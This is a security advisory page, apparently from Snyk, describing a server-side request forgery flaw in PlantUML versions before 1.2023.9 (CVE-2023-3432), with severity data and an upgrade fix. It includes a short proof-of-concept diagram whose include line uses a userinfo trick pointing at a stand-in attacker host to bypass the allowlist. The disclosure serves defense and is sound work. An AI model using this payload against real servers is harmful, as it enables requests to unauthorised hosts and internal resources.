Server-side Request Forgery (SSRF) Affecting net.sourceforge.plantuml:plantuml package, versions [,1.2023.9)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.17% (56th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-NETSOURCEFORGEPLANTUML-5741795
  • published28 Jun 2023
  • disclosed27 Jun 2023
  • creditZhang Zeyu

Introduced: 27 Jun 2023

CVE-2023-3432  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

Upgrade net.sourceforge.plantuml:plantuml to version 1.2023.9 or higher.

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) by including non alphanumeric characters in a PATTERN_USERINFO value, which can bypass the allowlist when PLANTUML_SECURITY_PROFILE=ALLOWLIST is set.

PoC

@startuml
!include https://plantuml.com@evil.com
a -> b: %load_json()
@enduml

References

CVSS Base Scores

version 3.1